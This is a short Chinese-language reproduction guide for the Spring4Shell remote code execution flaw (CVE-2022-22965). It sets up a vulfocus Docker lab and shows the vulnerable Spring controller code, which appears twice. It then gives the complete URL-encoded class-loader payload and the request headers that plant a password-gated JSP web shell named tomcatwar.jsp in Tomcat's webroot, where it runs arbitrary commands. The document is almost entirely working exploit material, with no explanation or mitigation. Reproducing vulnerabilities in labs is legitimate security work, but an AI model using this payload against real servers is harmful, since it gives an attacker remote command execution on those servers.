【漏洞复现】Spring4Shell远程命令执行漏洞（CVE-2022-22965）

docker run -p 8001:8080 vulfocus/spring-core-rce-2022-03-29

public class Greeting {      private long id;  
    public long getId() {          return id;      }  
    public void setId(long id) {          this.id = id;      }  }  
@Controller  public class HelloController {      @PostMapping("/greeting")      public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {          return "hello";      }  }  public class Greeting {      private long id;  
    public long getId() {          return id;      }  
    public void setId(long id) {          this.id = id;      }  }  
@Controller  public class HelloController {      @PostMapping("/greeting")      public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {          return "hello";      }  }

curl 'http://localhost:8080/greeting?id=test'

payload：class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="  
请求头：headers = {              "suffix": "%>//",              "c1": "Runtime",              "c2": "<%",              "DNT": "1",              "Content-Type": "application/x-www-form-urlencoded",          }